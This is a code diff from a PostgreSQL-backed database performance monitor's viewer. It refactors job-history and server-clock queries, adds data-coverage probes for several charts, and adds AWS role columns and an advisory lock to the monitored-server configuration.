+        int? serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+    {
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
         {
-            kept.RemoveRange(limit, kept.Count - limit);
+            return null;
         }
 
-        return kept;
+        /* async, so a failure on the way to the query is a faulted task the tab's note step logs, never a throw out of the
+           tab's load that costs the grid its rows. */
+        var source = DataWindowFloor.Source.ForCollectorTable("job_history");
+        return serverId is int id
+            ? await DataWindowFloor.GetForServerAsync(
+                _dataSource, source, id, startUtc, endUtc, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken)
+            : await DataWindowFloor.GetAsync(
+                _dataSource, [source], null, startUtc, endUtc, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
     }
 
     /// <summary>
@@ -187,54 +248,11 @@ internal static List<ViewerJobHistoryRow> ApplyJobHistoryWindow(List<ViewerJobHi
     /// with no row is absent, and its stored times are read as UTC — what the old SQL's <c>COALESCE(..., 0)</c>
     /// did. With <paramref name="serverId"/> it reads that one server (#4766).
     /// </summary>
-    internal async Task<Dictionary<int, ServerClock>> GetServerClocksAsync(int? serverId, CancellationToken cancellationToken)
-    {
-        try
-        {
-            return await ReadServerClocksAsync(BuildServerClocksSql(serverId.HasValue, withZone: true), serverId, withZone: true, cancellationToken);
-        }
-        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedColumn)
-        {
-            /* A store below V134 has no time_zone_id: read the offset alone, as this read did before. */
-            return await ReadServerClocksAsync(BuildServerClocksSql(serverId.HasValue, withZone: false), serverId, withZone: false, cancellationToken);
-        }
-    }
-
-    internal static string BuildServerClocksSql(bool scopedToServer, bool withZone)
-    {
-        var zone = withZone ? ",\n    time_zone_id" : "";
-        var scope = scopedToServer ? "AND   server_id = $1\n" : "";
-        return $@"
-SELECT DISTINCT ON (server_id)
-    server_id,
-    utc_offset_minutes{zone}
-FROM server_properties
-WHERE utc_offset_minutes IS NOT NULL
-{scope}ORDER BY server_id, collection_time DESC";
-    }
-
-    private async Task<Dictionary<int, ServerClock>> ReadServerClocksAsync(
-        string sql, int? serverId, bool withZone, CancellationToken cancellationToken)
-    {
-        var clocks = new Dictionary<int, ServerClock>();
-
-        await using var command = _dataSource.CreateCommand(sql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        if (serverId.HasValue)
-        {
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
-        }
+    internal Task<Dictionary<int, ServerClock>> GetServerClocksAsync(int? serverId, CancellationToken cancellationToken) =>
+        DarlingServerClocksReader.GetAsync(_dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            clocks[reader.GetInt32(0)] = ServerClock.Resolve(
-                withZone && !reader.IsDBNull(2) ? reader.GetString(2) : null,
-                reader.IsDBNull(1) ? null : reader.GetInt32(1));
-        }
-
-        return clocks;
-    }
+    internal static string BuildServerClocksSql(bool scopedToServer, bool withZone) =>
+        DarlingServerClocksReader.BuildSql(scopedToServer, withZone);
 
     /// <summary>
     /// <paramref name="serverId"/>'s entry in <paramref name="clocks"/>, else the UTC clock: a server with no
@@ -242,221 +260,19 @@ private async Task<Dictionary<int, ServerClock>> ReadServerClocksAsync(
     /// </summary>
     internal static ServerClock ClockFor(IReadOnlyDictionary<int, ServerClock> clocks, int serverId)
     {
-        return clocks.TryGetValue(serverId, out var known) ? known : ServerClock.Utc;
+        return DarlingServerClocksReader.ClockFor(clocks, serverId);
     }
 
-    /// <summary>
-    /// Builds <see cref="GetJobHistoryAsync"/>'s SQL text, split out so Darling.Tests can pin both parameter
-    /// shapes (fleet-wide and single-server) without a live Postgres. $1 window start (naive UTC); when
-    /// <paramref name="scopedToServer"/>, $2 server_id and the floor moves to $3, the limit to $4 — otherwise
-    /// the floor is $2 and the limit $3. The floor is the <see cref="EventWindowFloor"/> for $1:
-    /// <c>job_history</c> is a hypertable partitioned on <c>collection_time</c>, which the de-skewed
-    /// <c>run_datetime</c> window alone gives the planner nothing to exclude a chunk on (#4229). The
-    /// de-skewed run time is always ≤ <c>collection_time</c> (store UTC at collection, and a job's history row
-    /// is collected after the run it reports), so the floor cannot drop a qualifying row.
-    /// <para>
-    /// <b>Per-server top-N over V150's index (#4477), replacing a fleet-wide scan.</b> The old text scanned
-    /// every <c>job_history</c> row in the two-day window across the whole fleet, sorted the lot by
-    /// <c>run_datetime_utc DESC, instance_id DESC</c>, and took the top <c>limit</c> — a full scan of every
-    /// server's history to find the newest rows, with no index able to serve <c>run_datetime_utc</c> because
-    /// it is computed (<c>run_datetime</c> minus a per-server offset), not a stored column. Each monitored
-    /// server's UTC offset is constant for the life of the read (one <c>server_properties</c> lookup), so
-    /// "newest <c>limit</c> rows fleet-wide by <c>run_datetime_utc DESC, instance_id DESC</c>" is exactly a
-    /// merge of each server's own newest <c>limit</c> rows by RAW <c>run_datetime DESC, instance_id DESC</c> —
-    /// an order <see cref="PgMigrations"/>' V150 index <c>idx_job_history_server_run (server_id, run_datetime
-    /// DESC, instance_id DESC)</c> serves directly, with no sort. <c>server_offsets</c> enumerates every
-    /// registered server (mirroring the old <c>reg</c> LEFT JOIN, but now the LATERAL's driving table) with
-    /// its offset (0 when none collected yet, exactly like the old COALESCE); <c>top_by_server</c> is one
-    /// <c>CROSS JOIN LATERAL</c> per server, each an index-only top-<c>limit</c> descent; <c>base</c> merges
-    /// those (at most <c>servers × limit</c>, never more) and re-applies the SAME final ORDER BY/LIMIT to pick
-    /// the fleet-wide top <c>limit</c> — identical rows, identical order, identical tie-break to the old text.
-    /// <c>active_servers</c> drives off <c>job_history</c> itself (<c>DISTINCT server_id</c> for rows with
-    /// <c>collection_time &gt;= {floorParam}</c>, the same superset floor the per-server LATERAL already
-    /// filters on) rather than the <c>servers</c> registry — an earlier draft drove off <c>servers</c>
-    /// directly, which would have silently dropped every row for a <c>server_id</c> the registry no longer
-    /// carries (a decommissioned server whose retained history the old <c>LEFT JOIN reg</c> still showed,
-    /// under the raw collected name). <c>server_offsets</c> LEFT JOINs <c>servers</c> onto that driving set for
-    /// the display-name fallback (NULL when unregistered, exactly like the old COALESCE), so a
-    /// <c>job_history</c> row survives regardless of whether its server is still registered.
-    /// </para>
-    /// <para>
-    /// <b>job_stats stays a bounded per-server window, not a second fleet-wide scan.</b> The average/max a row
-    /// needs only ever depends on its OWN job's step_id-0 SUCCESS rows on its OWN server, so <c>job_stats</c>
-    /// is a <c>CROSS JOIN LATERAL</c> per server actually present in <c>base</c> (not all registered servers —
-    /// a server with no rows in the final top-<c>limit</c> needs no stats at all), using the same index's
-    /// <c>server_id</c>/<c>run_datetime</c> range to bound the scan to that one server's window, filtered to
-    /// <c>step_id = 0 AND run_status = 1</c> and to just the job_ids <c>base</c> actually kept for that server
-    /// (a job never shown needs no average computed for it), <c>GROUP BY job_id</c>. Values are identical to
-    /// the old text's: same 24-hour-window predicate, same step_id/run_status filter, same GROUP BY grain —
-    /// only the scan is now bounded to one server's rows via the index instead of every server's success rows
-    /// combined. <c>job_stats</c> LEFT JOINs onto <c>base</c> so a job with no successful step-0 row in the
-    /// window still surfaces its other rows with a NULL avg/last-success, exactly as before.
-    /// </para>
-    /// </summary>
-    internal static string BuildJobHistorySql(bool scopedToServer)
-    {
-        var serverFilter = scopedToServer ? "AND   jh.server_id = $2" : string.Empty;
-        var floorParam = scopedToServer ? "$3" : "$2";
-        var limitParam = scopedToServer ? "$4" : "$3";
-
-        return $@"
-WITH svr AS (
-    SELECT DISTINCT ON (server_id)
-        server_id,
-        utc_offset_minutes
-    FROM server_properties
-    WHERE utc_offset_minutes IS NOT NULL
-    ORDER BY server_id, collection_time DESC
-),
-active_servers AS (
-    SELECT DISTINCT jh.server_id
-    FROM job_history AS jh
-    WHERE jh.collection_time >= {floorParam}
-    {serverFilter}
-),
-server_offsets AS (
-    SELECT
-        a.server_id,
-        reg.display_name,
-        COALESCE(svr.utc_offset_minutes, 0) AS offset_minutes
-    FROM active_servers AS a
-    LEFT JOIN svr ON svr.server_id = a.server_id
-    LEFT JOIN servers AS reg ON reg.server_id = a.server_id
-),
-top_by_server AS (
-    SELECT
-        so.server_id,
-        COALESCE(so.display_name, top.server_name) AS server_name,
-        top.instance_id,
-        top.job_id,
-        top.job_name,
-        top.job_enabled,
-        top.category_name,
-        top.step_id,
-        top.step_name,
-        top.run_status,
-        top.run_status_desc,
-        top.run_datetime AS run_datetime_local,
-        top.run_datetime - make_interval(mins => so.offset_minutes) AS approx_run_utc,
-        top.run_duration_seconds,
-        top.retries_attempted,
-        top.message
-    FROM server_offsets AS so
-    CROSS JOIN LATERAL (
-        SELECT
-            jh.server_name,
-            jh.instance_id,
-            jh.job_id,
-            jh.job_name,
-            jh.job_enabled,
-            jh.category_name,
-            jh.step_id,
-            jh.step_name,
-            jh.run_status,
-            jh.run_status_desc,
-            jh.run_datetime,
-            jh.run_duration_seconds,
-            jh.retries_attempted,
-            jh.message
-        FROM job_history AS jh
-        WHERE jh.server_id = so.server_id
-        AND   jh.collection_time >= {floorParam}
-        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes) - interval '1 hour'
-        ORDER BY jh.run_datetime DESC, jh.instance_id DESC
-        LIMIT {limitParam}
-    ) AS top
-),
-base AS (
-    SELECT *
-    FROM top_by_server
-    ORDER BY approx_run_utc DESC, instance_id DESC
-    LIMIT {limitParam}
-),
-job_stats AS (
-    SELECT
-        so.server_id,
-        js.job_id,
-        js.avg_success_duration,
-        js.last_success_run_local
-    FROM (SELECT DISTINCT server_id FROM base) AS b
-    JOIN server_offsets AS so ON so.server_id = b.server_id
-    CROSS JOIN LATERAL (
-        SELECT
-            jh.job_id,
-            AVG(jh.run_duration_seconds) AS avg_success_duration,
-            MAX(jh.run_datetime) AS last_success_run_local
-        FROM job_history AS jh
-        WHERE jh.server_id = so.server_id
-        AND   jh.step_id = 0
-        AND   jh.run_status = 1
-        AND   jh.collection_time >= {floorParam}
-        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes)
-        AND   jh.job_id IN (SELECT job_id FROM base WHERE base.server_id = so.server_id)
-        GROUP BY jh.job_id
-    ) AS js
-)
-SELECT
-    base.server_id,
-    base.server_name,
-    base.instance_id,
-    base.job_id,
-    base.job_name,
-    base.job_enabled,
-    base.category_name,
-    base.step_id,
-    base.step_name,
-    base.run_status,
-    base.run_status_desc,
-    base.run_datetime_local,
-    base.run_duration_seconds,
-    base.retries_attempted,
-    base.message,
-    job_stats.last_success_run_local,
-    CASE
-        WHEN base.step_id = 0
-        AND  job_stats.avg_success_duration IS NOT NULL
-        AND  job_stats.avg_success_duration > 0
-        AND  base.run_duration_seconds > job_stats.avg_success_duration * 2
-        AND  base.run_duration_seconds > 60
-        THEN true
-        ELSE false
-    END AS is_long_running
-FROM base
-LEFT JOIN job_stats
-    ON  job_stats.server_id = base.server_id
-    AND job_stats.job_id = base.job_id
-ORDER BY base.approx_run_utc DESC, base.instance_id DESC";
-    }
+    /// <summary>The job-history statement, which lives in <see cref="DarlingJobHistoryReader"/> beside its reader. $1 window start
+    /// (naive UTC); when <paramref name="scopedToServer"/>, $2 server_id, then the floor and the limit.</summary>
+    internal static string BuildJobHistorySql(bool scopedToServer) =>
+        DarlingJobHistoryReader.BuildJobHistorySql(scopedToServer);
 
     /// <summary>Maps one row of <see cref="BuildJobHistorySql"/>'s result set. The run time and the last
     /// successful run arrive as the server's own wall clock; they leave as naive UTC, converted with that
     /// server's clock from <paramref name="clocks"/> (UTC when it has none).</summary>
-    internal static ViewerJobHistoryRow ReadJobHistoryRow(DbDataReader reader, IReadOnlyDictionary<int, ServerClock> clocks)
-    {
-        var serverId = reader.IsDBNull(0) ? 0 : reader.GetInt32(0);
-        var clock = ClockFor(clocks, serverId);
-
-        return new()
-        {
-            ServerId = serverId,
-            ServerName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-            InstanceId = reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
-            JobId = reader.IsDBNull(3) ? "" : reader.GetString(3),
-            JobName = reader.IsDBNull(4) ? "" : reader.GetString(4),
-            JobEnabled = !reader.IsDBNull(5) && reader.GetBoolean(5),
-            CategoryName = reader.IsDBNull(6) ? null : reader.GetString(6),
-            StepId = reader.IsDBNull(7) ? 0 : reader.GetInt32(7),
-            StepName = reader.IsDBNull(8) ? null : reader.GetString(8),
-            RunStatus = reader.IsDBNull(9) ? 0 : reader.GetInt32(9),
-            RunStatusDesc = reader.IsDBNull(10) ? null : reader.GetString(10),
-            RunDateTimeUtc = reader.IsDBNull(11) ? null : clock.ToUtc(reader.GetDateTime(11)),
-            RunDurationSeconds = reader.IsDBNull(12) ? 0 : reader.GetInt64(12),
-            RetriesAttempted = reader.IsDBNull(13) ? 0 : reader.GetInt32(13),
-            Message = reader.IsDBNull(14) ? null : reader.GetString(14),
-            LastSuccessfulRunUtc = reader.IsDBNull(15) ? null : clock.ToUtc(reader.GetDateTime(15)),
-            IsLongRunning = !reader.IsDBNull(16) && reader.GetBoolean(16),
-        };
-    }
+    internal static ViewerJobHistoryRow ReadJobHistoryRow(DbDataReader reader, IReadOnlyDictionary<int, ServerClock> clocks) =>
+        ViewerJobHistoryRow.From(DarlingJobHistoryReader.ReadRow(reader, clocks));
 
     /// <summary>
     /// The latest SQL Agent status snapshot per server (issue #1433 Phase 2) — Running/Stopped, startup
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LatchSpinlock.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LatchSpinlock.cs
index 71ca2f50c7..8896ca6a6f 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LatchSpinlock.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LatchSpinlock.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -36,12 +37,16 @@ public sealed record LatchStatsSnapshotRow(
     long MaxWaitTimeMs,
     long? DeltaWaitingRequestsCount,
     long? DeltaWaitTimeMs,
-    int? SampleIntervalSeconds)
+    int? SampleIntervalSeconds,
+    DateTime CollectionTime)
 {
     /// <summary>True when the row's deltas are the unknowable marker — a stored interval of exactly 0 (the
     /// <c>FileIoStatsRow</c> / resource-semaphore idiom).</summary>
     public bool IsUnknowable => SampleIntervalSeconds == 0;
 
+    /// <summary><see cref="CollectionTime"/> (naive UTC) in the display zone, to the second; the "Collected" column sorts by <see cref="CollectionTime"/>.</summary>
+    public string CollectionTimeLocal => HistoryTime.CollectionLocal(CollectionTime);
+
     /// <summary>The grid's Interval (sec) cell — see <see cref="DeltaSeriesShaping.IntervalDisplay"/>.</summary>
     public string IntervalDisplay => DeltaSeriesShaping.IntervalDisplay(SampleIntervalSeconds);
 }
@@ -63,11 +68,15 @@ public sealed record SpinlockStatsSnapshotRow(
     long Backoffs,
     long? DeltaCollisions,
     long? DeltaSpins,
-    int? SampleIntervalSeconds)
+    int? SampleIntervalSeconds,
+    DateTime CollectionTime)
 {
     /// <summary>True when the row's deltas are the unknowable marker — a stored interval of exactly 0.</summary>
     public bool IsUnknowable => SampleIntervalSeconds == 0;
 
+    /// <summary><see cref="CollectionTime"/> (naive UTC) in the display zone, to the second; the "Collected" column sorts by <see cref="CollectionTime"/>.</summary>
+    public string CollectionTimeLocal => HistoryTime.CollectionLocal(CollectionTime);
+
     /// <summary>The grid's Interval (sec) cell — see <see cref="DeltaSeriesShaping.IntervalDisplay"/>.</summary>
     public string IntervalDisplay => DeltaSeriesShaping.IntervalDisplay(SampleIntervalSeconds);
 }
@@ -144,7 +153,8 @@ FROM v_latch_stats
             max_wait_time_ms,
             delta_waiting_requests_count,
             delta_wait_time_ms,
-            sample_interval_seconds
+            sample_interval_seconds,
+            collection_time
         FROM v_latch_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT mx FROM latest)
@@ -220,7 +230,8 @@ FROM v_spinlock_stats
             backoffs,
             delta_collisions,
             delta_spins,
-            sample_interval_seconds
+            sample_interval_seconds,
+            collection_time
         FROM v_spinlock_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT mx FROM latest)
@@ -278,7 +289,8 @@ deltas stand. The interval column is integer in the store (V127), read as such.
                 reader.IsDBNull(3) ? 0 : reader.GetInt64(3),
                 DeltaSeriesShaping.ReadableDelta(reader.IsDBNull(4) ? 0 : reader.GetInt64(4), interval),
                 DeltaSeriesShaping.ReadableDelta(reader.IsDBNull(5) ? 0 : reader.GetInt64(5), interval),
-                interval));
+                interval,
+                reader.GetDateTime(7)));
         }
 
         return result;
@@ -334,9 +346,21 @@ public async Task<List<SpinlockStatsSnapshotRow>> GetSpinlockStatsSnapshotAsync(
                 reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
                 DeltaSeriesShaping.ReadableDelta(reader.IsDBNull(6) ? 0 : reader.GetInt64(6), interval),
                 DeltaSeriesShaping.ReadableDelta(reader.IsDBNull(7) ? 0 : reader.GetInt64(7), interval),
-                interval));
+                interval,
+                reader.GetDateTime(9)));
         }
 
         return result;
     }
+
+    /// <summary>Where this server's latch_stats coverage starts for the window (the shared probe), so the trend chart can say so
+    /// when an empty stretch would otherwise draw as a flat zero (#4966).</summary>
+    public Task<DateTime?> GetLatchStatsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("latch_stats"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+    /// <summary>The spinlock_stats twin of <see cref="GetLatchStatsDataStartAsync"/>.</summary>
+    public Task<DateTime?> GetSpinlockStatsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("spinlock_stats"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LongQueries.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LongQueries.cs
index abe47529f0..d813b69a7a 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LongQueries.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.LongQueries.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -99,6 +100,23 @@ ORDER BY event_time DESC
         LIMIT 200
         """;
 
+    /// <summary>The grid's row cap: the newest 200 completions by event time. <see cref="LongQueryCompletionsSql"/>'s LIMIT is the same number.</summary>
+    public const int LongQueriesRowCap = 200;
+
+    /// <summary>
+    /// Where this server's long_query_completions coverage starts for the window (#4966), through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its first row in
+    /// the window if that is earlier. The grid WINDOWS on <c>collection_time</c>, the probe's own column, but SHOWS
+    /// <c>event_time</c>: the first collection of the XE session stores the events its ring buffer still held, so a row
+    /// collected inside the window can carry an event time from before the coverage. The caller names the earlier of this
+    /// and the earliest event the grid shows (<see cref="ViewerEventDataStart.Of"/>), and the oldest row when the read hit
+    /// <see cref="LongQueriesRowCap"/>. Null when the window holds no row and no logged run, and when it lies wholly before
+    /// the coverage.
+    /// </summary>
+    public Task<DateTime?> GetLongQueriesDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("long_query_completions"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     public async Task<List<ViewerLongQueryRow>> GetRecentLongQueryCompletionsAsync(
         int serverId, DateTime startUtc, DateTime endUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs
index 7924b74b92..d827ceb505 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs
@@ -203,26 +203,7 @@ ORDER BY SUM(memory_mb) DESC
     /// from one the bucketing merged.</para>
     /// $4.. clerk types, last $ the bucket width in minutes.
     /// </summary>
-    public static string MemoryClerkTrendsSql(int typeCount)
-    {
-        var typeParams = string.Join(", ", Enumerable.Range(0, typeCount).Select(i => "$" + (i + 4)));
-        var widthParam = "$" + (typeCount + 4);
-        return $$"""
-            SELECT
-                clerk_type,
-                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
-                CAST(AVG(memory_mb) AS double precision) AS memory_mb,
-                MIN(collection_time) AS first_collection_time,
-                COUNT(*) AS collection_count
-            FROM v_memory_clerks
-            WHERE server_id = $1
-            AND   collection_time >= $2
-            AND   collection_time <= $3
-            AND   clerk_type IN ({{typeParams}})
-            GROUP BY clerk_type, 2
-            ORDER BY clerk_type, 2
-            """;
-    }
+    public static string MemoryClerkTrendsSql(int typeCount) => ServerTrendSql.MemoryClerks(typeCount);
 
     /// <summary>
     /// The Memory Grants chart data — Lite's <c>GetMemoryGrantChartDataAsync</c> ported to Postgres, then
@@ -586,6 +567,17 @@ public async Task<List<MemoryGrantChartPoint>> GetMemoryGrantChartDataAsync(
         return items;
     }
 
+    /// <summary>
+    /// Where this server's memory pressure events coverage starts for the window the chart draws (#4966), through the shared probe
+    /// over its named source (<see cref="DataWindowFloor.Source.ForMemoryPressureEvents"/>, probed on <c>sample_time</c> like the read
+    /// below). The table is sparse, so its edge is the purge's cutoff and never its oldest row. The caller works the window out once and
+    /// hands the same start to this probe and to <see cref="GetMemoryPressureEventsAsync"/>. Null when the window holds no event and no
+    /// logged run, when it lies wholly before the coverage, and for a window of 90 minutes or less, which makes no probe call.
+    /// </summary>
+    public Task<DateTime?> GetMemoryPressureEventsDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForMemoryPressureEvents(), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>The RING_BUFFER_RESOURCE_MONITOR pressure samples over the window (the Memory Pressure
     /// Events sub-tab's chart), windowed on <c>sample_time</c>.</summary>
     public async Task<List<MemoryPressureEventRow>> GetMemoryPressureEventsAsync(
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs
index c2bd580360..43353a95d2 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs
@@ -15,6 +15,7 @@
 using NpgsqlTypes;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Notifications;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -37,8 +38,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// <para><b>Identity.</b> <c>server_id</c> is <c>ServerIdHelper.GetDeterministicHashCode(BuildStorageName(
 /// host, database, readOnlyIntent))</c> — the SAME identity the collectors stamp and the service's seed uses
 /// (<see cref="ComputeServerId"/>), so a viewer-written row JOINs the collected data and the service's
-/// reconcile matches it. <b>Secrets.</b> <c>encrypted_password</c> is a DPAPI-LocalMachine blob produced by
-/// <see cref="ViewerServerSecret"/> (never plaintext); integrated auth stores none. Azure/Entra auth modes
+/// reconcile matches it. <b>Secrets.</b> <c>encrypted_password</c> is a password sealed to the service's published key by
+/// <see cref="ViewerPasswordKey"/> (never plaintext); integrated auth stores none. Azure/Entra auth modes
 /// are not written — the service can't honor them (see <see cref="ServerStoreCredential"/>).</para>
 /// </summary>
 public sealed partial class ViewerDataService
@@ -52,10 +53,13 @@ it produced was a SQL Server row whatever the operator meant. */
     private const string MonitoredServerColumns =
         "server_id, name, host, database, auth, username, encrypted_password, encrypt_mode, " +
         "trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases, " +
-        "monthly_cost_usd, capture_plans, is_enabled, alert_delivery_mode_override, engine, port";
+        "monthly_cost_usd, capture_plans, is_enabled, alert_delivery_mode_override, engine, port, " +
+        "aws_role_arn, aws_external_id";
 
+    /* #5452: aws_role_arn and aws_external_id ($19, $20) are the per-server AWS role. aws_external_id_set is NOT a
+       column a write names: the store computes it (a stored generated column), so an INSERT that listed it would fail. */
     private const string MonitoredServerValues =
-        "$1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, " +
+        "$1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, " +
         "(now() AT TIME ZONE 'UTC'), (now() AT TIME ZONE 'UTC')";
 
     /// <summary>Upsert by <c>server_id</c> — the Edit save. ON CONFLICT rewrites every field but
@@ -83,6 +87,15 @@ ON CONFLICT (server_id) DO UPDATE SET
     alert_delivery_mode_override = EXCLUDED.alert_delivery_mode_override,
     engine = EXCLUDED.engine,
     port = EXCLUDED.port,
+    aws_role_arn = EXCLUDED.aws_role_arn,
+    /* The stored external ID is never read back to this seat: it is replaced only when $21 says one was typed or the
+       box was cleared, and a cleared role takes it along (the table's check needs a role for an ID). A role that
+       changes with nothing typed clears it too, because an external ID belongs to the role it was set for. */
+    aws_external_id = CASE
+        WHEN EXCLUDED.aws_role_arn IS NULL THEN NULL
+        WHEN $21 THEN EXCLUDED.aws_external_id
+        WHEN EXCLUDED.aws_role_arn IS DISTINCT FROM config_monitored_servers.aws_role_arn THEN NULL
+        ELSE config_monitored_servers.aws_external_id END,
     modified_at = (now() AT TIME ZONE 'UTC')";
 
     /// <summary>Insert only when the <c>server_id</c> is absent — the Add save (#4789) and the one-time
@@ -93,6 +106,22 @@ INSERT INTO config_monitored_servers (" + MonitoredServerColumns + @", created_a
 VALUES (" + MonitoredServerValues + @")
 ON CONFLICT (server_id) DO NOTHING";
 
+    /// <summary>
+    /// The one lock every write that gives a definition an ADDRESS takes (#5240): the service's add and edit
+    /// (web and MCP) and this class's <see cref="AddMonitoredServerAsync"/> and <see cref="UpsertMonitoredServerAsync"/>.
+    /// A COPY of the service's <c>DarlingMcpServerAdminTools.IdentityLockSql</c>, because this project cannot
+    /// reference the service; <c>ServerIdentityLockSourcePinTests</c> reads both files and fails when the two texts
+    /// differ, since a viewer locking on another key would serialise with nothing.
+    ///
+    /// <para><c>server_id</c> is the hash of the storage key, an edit keeps its row's old id, and the table has no
+    /// unique index on the key, so nothing in the database stops two writers from each finding an address free and
+    /// each taking it. Taken first inside the write's transaction, the lock makes the occupancy check that follows
+    /// it a check against a table no other identity write is changing, and the transaction's end (commit or
+    /// rollback) releases it. <c>pg_advisory_xact_lock</c> and <c>hashtext</c> are executable by PUBLIC, so the
+    /// read-only <c>viewer</c> role needs no grant: its INSERT still fails with SQLSTATE 42501, as it always did.</para>
+    /// </summary>
+    public const string MonitoredServerIdentityLockSql = "SELECT pg_advisory_xact_lock(hashtext('config_monitored_servers.identity'))";
+
     /// <summary>Deletes a server definition (the Remove action) — the service drops it from the monitored
     /// set on its next reload. $1 server_id.</summary>
     public const string MonitoredServerDeleteSql = "DELETE FROM config_monitored_servers WHERE server_id = $1";
@@ -114,17 +143,20 @@ INSERT INTO config_monitored_servers (" + MonitoredServerColumns + @", created_a
     public const string MonitoredServersSelectSql = @"
 SELECT server_id, name, host, database, auth, username, encrypt_mode,
        trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
-       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port
+       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port,
+       aws_role_arn, aws_external_id_set
 FROM config_monitored_servers
 ORDER BY name";
 
     /// <summary>One configured server by id (the Edit prefill, incl. the DPAPI blob for the password box). $1 server_id.
     /// An <c>admin</c>-role action — the read-only <c>viewer</c> role is column-denied <c>encrypted_password</c>
-    /// (#1416), so a viewer seat uses <see cref="MonitoredServerByIdNoSecretSql"/> instead.</summary>
+    /// (#1416), so a viewer seat uses <see cref="MonitoredServerByIdNoSecretSql"/> instead. It is the one read that
+    /// reads <c>aws_external_id_set</c> (#5452), never the external ID itself.</summary>
     public const string MonitoredServerByIdSql = @"
 SELECT server_id, name, host, database, auth, username, encrypted_password, encrypt_mode,
        trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
-       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port
+       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port,
+       aws_role_arn, aws_external_id_set
 FROM config_monitored_servers
 WHERE server_id = $1";
 
@@ -136,7 +168,8 @@ FROM config_monitored_servers
     public const string MonitoredServerByIdNoSecretSql = @"
